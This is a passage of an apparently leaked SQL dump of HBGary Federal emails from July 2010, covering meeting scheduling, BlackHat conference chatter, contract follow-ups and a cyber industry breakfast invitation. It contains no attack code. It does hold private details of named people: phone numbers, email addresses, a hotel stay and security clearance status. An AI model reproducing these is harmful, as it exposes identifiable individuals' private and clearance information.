parties who are\r\nnot interested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press.\r\n\r\nAttendees will be afforded the opportunity to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming opportunities\r\nin scheduled presentations at the workshop may request to do so. Attendees\r\nwill also have the opportunity to meet individually with Mr. Peiter\r\n\"Mudge\" Zatko, the Cyber-Insider Program Manager.\r\n\r\nPlease feel free to contact us with any questions.\r\n\r\nRegards,\r\nCyber-Insider Team\r\nDARPA/STO\r\n',7542,'aaron_hbgary_com/7542.html'),(9229,'2010-07-28','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007117.M845328P14101Q4084.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Chadason, Mark P\" <Mark.Chadason@ManTech.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMark/Aaron\r\n\r\n&nbsp;\r\n\r\nDo you have any time available on 5 or 6 aug?\r\n\r\n&nbsp;\r\n\r\nbob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 10:38 AM\r\nTo: Frisbie, Robert P\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure. &nbsp;Right now Monday and Wednesday are wide open.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 9, 2010, at 9:30 AM, Frisbie, Robert P wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na follow up to our discussion of Social Media and some of your application\r\nwork, Mark and I discussed the potential for how it may support some of our\r\nprograms.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwould like to get together in a SCIF with you.&nbsp; Mark is out next week, I&#8217;m\r\ngone for pieces of the next couple of weeks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have any availability the week of 2 Aug?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nbob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert\r\nFrisbie\r\n\r\n\r\n\r\n\r\n\r\nSenior\r\nVice President\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational\r\n\r\n\r\n\r\n\r\n\r\n7799\r\nLeesburg Pike\r\n\r\n\r\n\r\n\r\n\r\nSuite\r\n700 South\r\n\r\n\r\n\r\n\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n\r\n\r\n\r\n\r\n703\r\n847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12519,'aaron_hbgary_com/12519.html'),(9230,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007118.M122836P14101Q4085.eml','\"Ted Vera\" <ted@hbgary.com>','Address','Attn: guest Aaron barr\r\nCaesars palace\r\n3570 las Vegas blvd south\r\nLas Vegas nv 89101\r\n\r\nSent from my iPhone\r\n',4592,'aaron_hbgary_com/4592.html'),(9231,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007118.M378066P14101Q4086.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: Meeting','Right now I can do either day.AaronSent from my iPhoneOn Jul 28, 2010, at 5:39 AM, \"Frisbie, Robert P\" &lt;Robert.Frisbie@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\nMark/Aaron\r\n\r\n&nbsp;\r\n\r\nDo you have any time available on 5 or 6 aug?\r\n\r\n&nbsp;\r\n\r\nbob\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 10:38 AM\r\nTo: Frisbie, Robert P\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure. &nbsp;Right now Monday and Wednesday are wide open.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 9, 2010, at 9:30 AM, Frisbie, Robert P wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na follow up to our discussion of Social Media and some of your application\r\nwork, Mark and I discussed the potential for how it may support some of our\r\nprograms.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwould like to get together in a SCIF with you.&nbsp; Mark is out next week, I’m\r\ngone for pieces of the next couple of weeks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have any availability the week of 2 Aug?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nbob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert\r\nFrisbie\r\n\r\n\r\n\r\n\r\n\r\nSenior\r\nVice President\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational\r\n\r\n\r\n\r\n\r\n\r\n7799\r\nLeesburg Pike\r\n\r\n\r\n\r\n\r\n\r\nSuite\r\n700 South\r\n\r\n\r\n\r\n\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n\r\n\r\n\r\n\r\n703\r\n847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6765,'aaron_hbgary_com/6765.html'),(9232,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007118.M588819P14101Q4087.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary Twitter re BlackHat','While you are at the show, please feel free to send me some info that I can &quot;Tweet&quot; out to our followers i.e. &quot;great attendance at Greg&#39;s talk&quot; , &quot;high demand for our freeware tool&quot;, &quot;booth traffic amazing&quot; -&gt; whatever you think would be of interest to attendees and our followers. K \r\n',12138,'aaron_hbgary_com/12138.html'),(9233,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007118.M872812P14101Q4088.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','Re: HBGary Twitter re BlackHat','Will do.  I will be tweeting throughout as well so you can check @aaronbarr\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 28, 2010, at 7:19 AM, Karen Burke  wrote:\r\n\r\n> While you are at the show, please feel free to send me some info that I can \"Tweet\" out to our followers i.e. \"great attendance at Greg\'s talk\" , \"high demand for our freeware tool\", \"booth traffic amazing\" -> whatever you think would be of interest to attendees and our followers. K \r\n',12871,'aaron_hbgary_com/12871.html'),(9234,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007119.M77224P14101Q4089.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: HBGary Twitter re BlackHat','Great thanks Aaron. Just saw your tweet this morning and retweeted. I appreciate it!\r\nOn Wed, Jul 28, 2010 at 7:31 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWill do.  I will be tweeting throughout as well so you can check @aaronbarrAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 7:19 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:&gt; While you are at the show, please feel free to send me some info that I can &quot;Tweet&quot; out to our followers i.e. &quot;great attendance at Greg&#39;s talk&quot; , &quot;high demand for our freeware tool&quot;, &quot;booth traffic amazing&quot; -&gt; whatever you think would be of interest to attendees and our followers. K\r\n\r\n',11040,'aaron_hbgary_com/11040.html'),(9235,'2010-07-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007123.M380857P14101Q4091.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: FBI ESOC','Begin forwarded message:From: &quot;Lemke, Michelle R.&quot; &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: July 28, 2010 9:36:51 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\nNothing but funny you ask - it just popped into my mind too! they&#39;re supposed to award between  1-31 July. I&#39;ll ask contracts... -----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, July 28, 2010 11:35 AMTo: Lemke, Michelle R.Subject: Re: FBI ESOCHi Michelle, any rumors?On Tue, Jul 13, 2010 at 10:16 AM, Lemke, Michelle R.\r\n&lt;michelle.lemke@gd-ais.com&gt; wrote:Hi Ted,\r\n Nothing yet. We&#39;ll keep you posted!\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, July 13, 2010 12:10 PMTo: Lemke, Michelle R.Cc: Barr Aaron\r\nSubject: Re: FBI ESOC\r\nHi Michelle,\r\nHave you heard anything on ESOC?  Any rumors?\r\nHope all is well,Ted\r\n\r\nOn Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R.&lt;michelle.lemke@gd-ais.com&gt; wrote:\r\nIt went well - we&#39;re waiting for good news...not sure when we&#39;ll here.\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 12:49 PMTo: Lemke, Michelle R.Subject: FBI ESOC\r\nHi Michelle,I was just wondering how the orals went.  Do you know when the\r\ncustomer intends to release an award announcement?Thanks,\r\nTed--Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n--Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',961,'aaron_hbgary_com/961.html'),(9236,'2010-07-28','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007123.M69216P14101Q4090.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check','You\'ll have it by noon tomorrow. Tracking number below. \r\n\r\nTed\r\n\r\n',14996,'aaron_hbgary_com/14996.html'),(9237,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007126.M238656P14101Q4092.eml','\"Bob Slapnik\" <bob@hbgary.com>','Call this guy next week','\r\n\r\n',14930,'aaron_hbgary_com/14930.html'),(9238,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007129.M341397P14101Q4094.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Qualys Releases Open Source Web Application Fingerprinting Tool','FYI -&gt; to be released today at BH session @3:15 PM.\r\n \r\nhttp://www.securityweek.com/qualys-releases-blindelephant-open-source-web-application-fingerprinting-tool\r\n',13040,'aaron_hbgary_com/13040.html'),(9239,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007129.M643410P14101Q4095.eml','\"Karen Burke\" <karen@hbgary.com>','Re: HBGary booth number -- confirm','Let mr check penny said 32.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 28, 2010, at 8:55 AM, Karen Burke  wrote:\r\n\r\n> Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32? \r\n> \r\n',7092,'aaron_hbgary_com/7092.html'),(9240,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007129.M65155P14101Q4093.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary booth number -- confirm','Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32? \r\n',13672,'aaron_hbgary_com/13672.html'),(9241,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007129.M865216P14101Q4096.eml','\"Karen Burke\" <karen@hbgary.com>','Re: HBGary booth number -- confirm','Yep booth 36 crap\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 28, 2010, at 8:55 AM, Karen Burke  wrote:\r\n\r\n> Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32? \r\n> \r\n',6031,'aaron_hbgary_com/6031.html'),(9242,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007130.M147552P14101Q4097.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary booth number -- confirm','That&#39;s okay -&gt; looking at the grid, there doesn&#39;t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n',12509,'aaron_hbgary_com/12509.html'),(9243,'2010-07-28','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007130.M381726P14101Q4098.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: offer','???Begin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;Date: July 28, 2010 10:15:19 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;, tedvera@mac.comSubject: offer\r\n\r\n\r\n\r\nSo what’s\r\nthis contingent offer to Tawny from Aaron and where the heck is mine…LOL\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14640,'aaron_hbgary_com/14640.html'),(9244,'2010-07-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007130.M598531P14101Q4099.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Ernst','I got a call out of the blue yesterday from Ernst. He wants to join\r\nHBGary. I told him that we may have a gig starting in September that\r\nhe would be a fit for. He said that there is a lot of uneasiness\r\nspreading through the team, but didn\'t offer much detail as to why. He\r\ndid say that there is talk of moving some of the more senior people\r\noff, onto other projects to create some healthy attrition and allow\r\nthem to get new hires, lower costs, etc.\r\n\r\nTed\r\n',6240,'aaron_hbgary_com/6240.html'),(9245,'2010-07-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007130.M923777P14101Q4100.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Clearance ...','Any movement on this Ira?\r\n\r\nTed\r\n\r\nOn Thu, Jul 22, 2010 at 1:35 PM, Ira Entis  wrote:\r\n> waiting to hear back from their lawyers.  we took exception to some standard\r\n> clauses (i.e. unlimited liability) which given the nature of the work we\r\n> felt were not appropriate.  waiting to hear back on that as well as the\r\n> security requirements.\r\n>\r\n> On Jul 22, 2010, at 3:30 PM, Ted Vera wrote:\r\n> Hi Ira,\r\n> How\'s the contract coming along?\r\n> Ted\r\n>\r\n>\r\n> On Tue, Jul 20, 2010 at 10:09 PM, Ted Vera  wrote:\r\n>>\r\n>> Last I checked, Mark and I still show as SCI eligible in JPAS, but neither\r\n>> of us are currently briefed/read on. We are hoping a contract with billets\r\n>> will be won soon.\r\n>> Ted\r\n>>\r\n>> On Jul 20, 2010, at 10:07 PM, Aaron Barr  wrote:\r\n>>\r\n>> None of us are DoD cleared.  I have an active community clearance (green\r\n>> badge).  Ted and Mark have had community clearances within the last 6 months\r\n>> but currently are not cleared.\r\n>> Aaron\r\n>> On Jul 20, 2010, at 7:03 PM, Ira Entis wrote:\r\n>>\r\n>> Aaron...?\r\n>>\r\n>> - Ira\r\n>> Begin forwarded message:\r\n>>\r\n>> From: \"Taylor, David A\" \r\n>> Date: July 20, 2010 6:42:19 PM EDT\r\n>> To: Ira Entis , Jerry McClure\r\n>> \r\n>> Subject: Clearance ...\r\n>>\r\n>> Ira, Jerry\r\n>>\r\n>>\r\n>>\r\n>> I seem to remember that the HBGary guys were DoD cleared.\r\n>>\r\n>> If so, my folks will want to know at what level, CNDWI?\r\n>>\r\n>>\r\n>>\r\n>> Thanks\r\n>>\r\n>>\r\n>>\r\n>> dat\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2469,'aaron_hbgary_com/2469.html'),(9246,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007131.M175719P14101Q4101.eml','\"Karen Burke\" <karen@hbgary.com>','Re: HBGary booth number -- confirm','Karen,Do a tweet search on Hoglund. &nbsp;Lots of people tweeting.Sent from my iPhoneOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:That\'s okay -&gt; looking at the grid, there doesn\'t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n',7000,'aaron_hbgary_com/7000.html'),(9247,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007131.M448889P14101Q4102.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary booth number -- confirm','I am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg&#39;s name, blackhatusa. Let me check the words &quot;malware fingerprinting&quot;  So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund.  Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat&#39;s okay -&gt; looking at the grid, there doesn&#39;t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n',10643,'aaron_hbgary_com/10643.html'),(9248,'2010-07-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007131.M711906P14101Q4103.eml','\"Barr Aaron\" <aaron@hbgary.com>','Social Media','How\'s Blackhat going? When you have a moment, can you send me the\r\nfinal whitepaper, I only have the last draft...\r\n\r\nThanks,\r\nTed\r\n',1751,'aaron_hbgary_com/1751.html'),(9249,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007131.M955425P14101Q4104.eml','\"Karen Burke\" <karen@hbgary.com>','Re: HBGary booth number -- confirm','Cool. &nbsp;I am sitting mid room. &nbsp;It is a packed house. &nbsp;There has to be 1000 people.Sent from my iPhoneOn Jul 28, 2010, at 11:44 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:I am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg\'s name, blackhatusa. Let me check the words \"malware fingerprinting\"&nbsp; So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund. &nbsp;Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat\'s okay -&gt; looking at the grid, there doesn\'t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n',15378,'aaron_hbgary_com/15378.html'),(9250,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007132.M185215P14101Q4105.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary booth number -- confirm','Wonderful -- so happy\r\nOn Wed, Jul 28, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nCool.  I am sitting mid room.  It is a packed house.  There has to be 1000 people.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 11:44 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nI am -&gt; so far, just a few that I can see: Carnegie Mellon, TaoSecurity, Steve Fox, McAfee Business, Bruce Snell. I have a running search on you, HBGary, greg&#39;s name, blackhatusa. Let me check the words &quot;malware fingerprinting&quot;  So glad there is a good turnout! Your photo made my day -- thanks so much. K\r\n\r\nOn Wed, Jul 28, 2010 at 11:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nKaren,\r\n\r\nDo a tweet search on Hoglund.  Lots of people tweeting.Sent from my iPhone\r\n\r\n\r\n\r\nOn Jul 28, 2010, at 9:14 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\nThat&#39;s okay -&gt; looking at the grid, there doesn&#39;t seem to be a #32. You can just tweet more closer to talk. Love your updates. K\r\nOn Wed, Jul 28, 2010 at 9:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nYep booth 36 crap\r\nSent from my iPhoneOn Jul 28, 2010, at 8:55 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Aaron, Just want to confirm booth #. Floor plan shows #36; you said #32 in your tweet. Is it #32?\r\n\r\n\r\n&gt; &lt;bh-us-10-sponsors_floorplan.pdf&gt;\r\n',4025,'aaron_hbgary_com/4025.html'),(9251,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007132.M389528P14101Q4106.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Social Media','Holy shit Greg is nailing it.  Do a twitter search for Hoglund.\r\nGot to be 1000 people\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 28, 2010, at 11:45 AM, Ted Vera  wrote:\r\n\r\n> How\'s Blackhat going? When you have a moment, can you send me the\r\n> final whitepaper, I only have the last draft...\r\n> \r\n> Thanks,\r\n> Ted\r\n',1460,'aaron_hbgary_com/1460.html'),(9252,'2010-07-28','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297007132.M616667P14101Q4107.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"JD Kathuria\" <jd@executivebiz.com>,\"Sheri Page\" <sheri@thtweb.com>,\"Alyce Morrison\" <alyce@executivebiz.com>,\"Scott  Rogers\" <scott@executivebiz.com>,\"Zalmai Azmi\" <zazmi@caci.com>,\"Carroll, Shawn (QGSI)\" <Shawn.Carroll@qwest.com>,larry.strang@tasc.com,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"coxld@saic.com\" <coxld@saic.com>,\"Robert Dix\" <rdix@juniper.net>,\"Fast, Barbara G\" <barbara.g.fast@boeing.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"plamontagne@paradigmsolutions.com\" <plamontagne@paradigmsolutions.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"Payne, James F  X\" <jpayne@telcordia.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"svisner@csc.com\" <svisner@csc.com>,\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>,\"John Watters\" <jwatters@isightpartners.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"wcooper@cisco.com\" <wcooper@cisco.com>,\"Skip.Foote@AmericanSystems.com\" <Skip.Foote@AmericanSystems.com>,\"Tiffany Jones\" <tiffany_jones@symantec.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"jmoorcones@safenet-inc.com\" <jmoorcones@safenet-inc.com>,\"Charles Palmer\" <ccpalmer@us.ibm.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"Lamboy, John\" <John.Lamboy@vangent.com>,\"pelacombe@securemissionsolutions.com\" <pelacombe@securemissionsolutions.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"JD Kathuria\" <jd@executivebiz.com>,\"Sheri Page\" <sheri@thtweb.com>','Canceled: Cyber Group Breakfast Meeting Hosted by ExecutiveBiz - Bill Varner Chairman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 03, 2010 7:30 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tyson\'s Corner, Virginia\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Tuesday, August 3, 2010 7:30 AM-9:00 AM (GMT-07:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club – Tyson’s Corner, Virginia\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n----------------------------------------------------------------------------------------------------------------------------------------------\r\n&nbsp;\r\nGood Afternoon Cyber Group,\r\nPer the request of the chairman and various group members, ExecutiveBiz is pleased to sponsor a working breakfast meeting for the Cyber Group.&nbsp; This is not a required part of your 4x24 membership, but we hope that you all will see the benefit in what the\r\ngroup chair is hoping to achieve with this group.\r\n&nbsp;\r\n“I would like to use our group as more than a periodic dinner meeting, as a real and virtual forum to help influence the outcome of some of these defining events. Together we represent most of the large companies in our industry, and we should 